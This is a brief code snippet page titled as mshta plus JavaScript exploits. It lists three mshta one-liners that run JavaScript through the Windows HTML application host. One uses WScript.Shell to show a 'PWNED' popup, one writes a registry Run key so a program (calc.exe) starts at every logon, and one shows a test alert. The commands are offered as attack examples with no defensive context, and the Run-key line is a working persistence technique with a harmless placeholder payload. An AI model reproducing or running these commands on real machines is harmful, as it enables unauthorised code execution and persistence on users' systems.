Code Examples - Mshta + Javascript Exploits

mshta "javascript:var sh=new ActiveXObject( 'WScript.Shell' ); sh.Popup( 'PWNED', 5, 'Windows 10 RCE', 64 );close()"

mshta "javascript:var exec = 'calc.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\calc',exec);close()"

mshta "javascript:alert('yep this works');close()"